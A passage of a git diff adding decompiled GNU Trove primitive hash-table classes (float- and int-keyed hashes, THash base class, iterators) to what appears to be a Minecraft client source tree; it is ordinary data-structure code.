+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_FLOAT_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0.0F) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TFloatHash(int initialCapacity, float loadFactor, float no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_value = no_entry_value;
+    
+    if (no_entry_value != 0.0F) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(float val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(float val)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(float val)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == val)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != val));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TFloatIntHash.java b/src/minecraft/gnu/trove/impl/hash/TFloatIntHash.java
new file mode 100644
index 0000000..5499f2d
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TFloatIntHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TFloatIntHash
+  extends TPrimitiveHash
+{
+  public transient float[] _set;
+  protected float no_entry_key;
+  protected int no_entry_value;
+  
+  public TFloatIntHash()
+  {
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TFloatIntHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatIntHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TFloatIntHash(int initialCapacity, float loadFactor, float no_entry_key, int no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(float val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeFloat(no_entry_key);
+    
+
+    out.writeInt(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readFloat();
+    
+
+    no_entry_value = in.readInt();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TFloatLongHash.java b/src/minecraft/gnu/trove/impl/hash/TFloatLongHash.java
new file mode 100644
index 0000000..ab5e673
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TFloatLongHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TFloatLongHash
+  extends TPrimitiveHash
+{
+  public transient float[] _set;
+  protected float no_entry_key;
+  protected long no_entry_value;
+  
+  public TFloatLongHash()
+  {
+    no_entry_key = 0.0F;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+  public TFloatLongHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0F;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatLongHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0F;
+    no_entry_value = 0L;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TFloatLongHash(int initialCapacity, float loadFactor, float no_entry_key, long no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(float val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeFloat(no_entry_key);
+    
+
+    out.writeLong(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readFloat();
+    
+
+    no_entry_value = in.readLong();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TFloatShortHash.java b/src/minecraft/gnu/trove/impl/hash/TFloatShortHash.java
new file mode 100644
index 0000000..a89fabd
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TFloatShortHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TFloatProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TFloatShortHash
+  extends TPrimitiveHash
+{
+  public transient float[] _set;
+  protected float no_entry_key;
+  protected short no_entry_value;
+  
+  public TFloatShortHash()
+  {
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TFloatShortHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TFloatShortHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0F;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TFloatShortHash(int initialCapacity, float loadFactor, float no_entry_key, short no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(float val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TFloatProcedure procedure)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(float key)
+  {
+    byte[] states = _states;
+    float[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeFloat(no_entry_key);
+    
+
+    out.writeShort(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readFloat();
+    
+
+    no_entry_value = in.readShort();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/THash.java b/src/minecraft/gnu/trove/impl/hash/THash.java
new file mode 100644
index 0000000..df1174b
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/THash.java
@@ -0,0 +1,428 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.PrimeFinder;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class THash
+  implements Externalizable
+{
+  static final long serialVersionUID = -1792948471915530295L;
+  protected static final float DEFAULT_LOAD_FACTOR = 0.5F;
+  protected static final int DEFAULT_CAPACITY = 10;
+  protected transient int _size;
+  protected transient int _free;
+  protected float _loadFactor;
+  protected int _maxSize;
+  protected int _autoCompactRemovesRemaining;
+  protected float _autoCompactionFactor;
+  protected transient boolean _autoCompactTemporaryDisable = false;
+  
+
+
+
+
+  public THash()
+  {
+    this(10, 0.5F);
+  }
+  
+
+
+
+
+
+
+
+  public THash(int initialCapacity)
+  {
+    this(initialCapacity, 0.5F);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public THash(int initialCapacity, float loadFactor)
+  {
+    _loadFactor = loadFactor;
+    
+
+
+    _autoCompactionFactor = loadFactor;
+    
+    setUp(HashFunctions.fastCeil(initialCapacity / loadFactor));
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _size;
+  }
+  
+
+
+
+
+
+  public abstract int capacity();
+  
+
+
+
+
+
+  public void ensureCapacity(int desiredCapacity)
+  {
+    if (desiredCapacity > _maxSize - size()) {
+      rehash(PrimeFinder.nextPrime(HashFunctions.fastCeil((desiredCapacity + size()) / _loadFactor) + 1));
+      
+      computeMaxSize(capacity());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void compact()
+  {
+    rehash(PrimeFinder.nextPrime(HashFunctions.fastCeil(size() / _loadFactor) + 1));
+    computeMaxSize(capacity());
+    
+
+    if (_autoCompactionFactor != 0.0F) {
+      computeNextAutoCompactionAmount(size());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setAutoCompactionFactor(float factor)
+  {
+    if (factor < 0.0F) {
+      throw new IllegalArgumentException("Factor must be >= 0: " + factor);
+    }
+    
+    _autoCompactionFactor = factor;
+  }
+  
+
+
+
+
+
+  public float getAutoCompactionFactor()
+  {
+    return _autoCompactionFactor;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public final void trimToSize()
+  {
+    compact();
+  }
+  
+
+
+
+
+
+
+  protected void removeAt(int index)
+  {
+    _size -= 1;
+    
+
+    if (_autoCompactionFactor != 0.0F) {
+      _autoCompactRemovesRemaining -= 1;
+      
+      if ((!_autoCompactTemporaryDisable) && (_autoCompactRemovesRemaining <= 0))
+      {
+
+        compact();
+      }
+    }
+  }
+  
+
+  public void clear()
+  {
+    _size = 0;
+    _free = capacity();
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = PrimeFinder.nextPrime(initialCapacity);
+    computeMaxSize(capacity);
+    computeNextAutoCompactionAmount(initialCapacity);
+    
+    return capacity;
+  }
+  
+
+
+
+
+
+  protected abstract void rehash(int paramInt);
+  
+
+
+
+
+
+  public void tempDisableAutoCompaction()
+  {
+    _autoCompactTemporaryDisable = true;
+  }
+  
+
+
+
+
+
+
+
+
+  public void reenableAutoCompaction(boolean check_for_compaction)
+  {
+    _autoCompactTemporaryDisable = false;
+    
+    if ((check_for_compaction) && (_autoCompactRemovesRemaining <= 0) && (_autoCompactionFactor != 0.0F))
+    {
+
+
+
+      compact();
+    }
+  }
+  
+
+
+
+
+
+
+
+  protected void computeMaxSize(int capacity)
+  {
+    _maxSize = Math.min(capacity - 1, (int)(capacity * _loadFactor));
+    _free = (capacity - _size);
+  }
+  
+
+
+
+
+
+
+  protected void computeNextAutoCompactionAmount(int size)
+  {
+    if (_autoCompactionFactor != 0.0F)
+    {
+
+      _autoCompactRemovesRemaining = ((int)(size * _autoCompactionFactor + 0.5F));
+    }
+  }
+  
+
+
+
+
+
+
+
+  protected final void postInsertHook(boolean usedFreeSlot)
+  {
+    if (usedFreeSlot) {
+      _free -= 1;
+    }
+    
+
+    if ((++_size > _maxSize) || (_free == 0))
+    {
+
+
+
+      int newCapacity = _size > _maxSize ? PrimeFinder.nextPrime(capacity() << 1) : capacity();
+      rehash(newCapacity);
+      computeMaxSize(capacity());
+    }
+  }
+  
+  protected int calculateGrownCapacity()
+  {
+    return capacity() << 1;
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeFloat(_loadFactor);
+    
+
+    out.writeFloat(_autoCompactionFactor);
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    float old_factor = _loadFactor;
+    _loadFactor = in.readFloat();
+    
+
+    _autoCompactionFactor = in.readFloat();
+    
+
+    if (old_factor != _loadFactor) {
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/THashIterator.java b/src/minecraft/gnu/trove/impl/hash/THashIterator.java
new file mode 100644
index 0000000..357fb39
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/THashIterator.java
@@ -0,0 +1,168 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.iterator.TIterator;
+import java.util.ConcurrentModificationException;
+import java.util.Iterator;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class THashIterator<V>
+  implements TIterator, Iterator<V>
+{
+  private final TObjectHash<V> _object_hash;
+  protected final THash _hash;
+  protected int _expectedSize;
+  protected int _index;
+  
+  protected THashIterator(TObjectHash<V> hash)
+  {
+    _hash = hash;
+    _expectedSize = _hash.size();
+    _index = _hash.capacity();
+    _object_hash = hash;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public V next()
+  {
+    moveToNextIndex();
+    return objectAtIndex(_index);
+  }
+  
+
+
+
+
+
+
+  public boolean hasNext()
+  {
+    return nextIndex() >= 0;
+  }
+  
+
+
+
+
+
+
+  public void remove()
+  {
+    if (_expectedSize != _hash.size()) {
+      throw new ConcurrentModificationException();
+    }
+    
+    try
+    {
+      _hash.tempDisableAutoCompaction();
+      _hash.removeAt(_index);
+    }
+    finally {
+      _hash.reenableAutoCompaction(false);
+    }
+    
+    _expectedSize -= 1;
+  }
+  
+
+
+
+
+
+
+  protected final void moveToNextIndex()
+  {
+    if ((this._index = nextIndex()) < 0) {
+      throw new NoSuchElementException();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected final int nextIndex()
+  {
+    if (_expectedSize != _hash.size()) {
+      throw new ConcurrentModificationException();
+    }
+    
+    Object[] set = _object_hash._set;
+    int i = _index;
+    while ((i-- > 0) && ((set[i] == TObjectHash.FREE) || (set[i] == TObjectHash.REMOVED))) {}
+    
+
+    return i;
+  }
+  
+  protected abstract V objectAtIndex(int paramInt);
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/THashPrimitiveIterator.java b/src/minecraft/gnu/trove/impl/hash/THashPrimitiveIterator.java
new file mode 100644
index 0000000..2f637a1
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/THashPrimitiveIterator.java
@@ -0,0 +1,141 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.iterator.TPrimitiveIterator;
+import java.util.ConcurrentModificationException;
+import java.util.NoSuchElementException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class THashPrimitiveIterator
+  implements TPrimitiveIterator
+{
+  protected final TPrimitiveHash _hash;
+  protected int _expectedSize;
+  protected int _index;
+  
+  public THashPrimitiveIterator(TPrimitiveHash hash)
+  {
+    _hash = hash;
+    _expectedSize = _hash.size();
+    _index = _hash.capacity();
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected final int nextIndex()
+  {
+    if (_expectedSize != _hash.size()) {
+      throw new ConcurrentModificationException();
+    }
+    
+    byte[] states = _hash._states;
+    int i = _index;
+    while ((i-- > 0) && (states[i] != 1)) {}
+    
+
+    return i;
+  }
+  
+
+
+
+
+
+
+  public boolean hasNext()
+  {
+    return nextIndex() >= 0;
+  }
+  
+
+
+
+
+
+
+  public void remove()
+  {
+    if (_expectedSize != _hash.size()) {
+      throw new ConcurrentModificationException();
+    }
+    
+    try
+    {
+      _hash.tempDisableAutoCompaction();
+      _hash.removeAt(_index);
+    }
+    finally {
+      _hash.reenableAutoCompaction(false);
+    }
+    
+    _expectedSize -= 1;
+  }
+  
+
+
+
+
+
+
+  protected final void moveToNextIndex()
+  {
+    if ((this._index = nextIndex()) < 0) {
+      throw new NoSuchElementException();
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TIntByteHash.java b/src/minecraft/gnu/trove/impl/hash/TIntByteHash.java
new file mode 100644
index 0000000..fd9c955
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TIntByteHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TIntProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TIntByteHash
+  extends TPrimitiveHash
+{
+  public transient int[] _set;
+  protected int no_entry_key;
+  protected byte no_entry_value;
+  
+  public TIntByteHash()
+  {
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TIntByteHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntByteHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TIntByteHash(int initialCapacity, float loadFactor, int no_entry_key, byte no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new int[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(int val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(int key)
+  {
+    byte[] states = _states;
+    int[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
